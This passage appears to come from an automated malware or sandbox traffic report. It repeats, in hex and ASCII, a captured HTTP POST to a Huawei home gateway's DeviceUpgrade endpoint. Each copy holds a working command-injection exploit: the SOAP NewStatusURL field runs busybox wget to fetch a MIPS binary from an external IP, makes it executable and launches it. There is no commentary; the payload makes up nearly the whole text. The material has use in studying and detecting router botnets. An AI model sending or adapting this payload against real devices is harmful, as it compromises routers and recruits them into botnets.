6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r 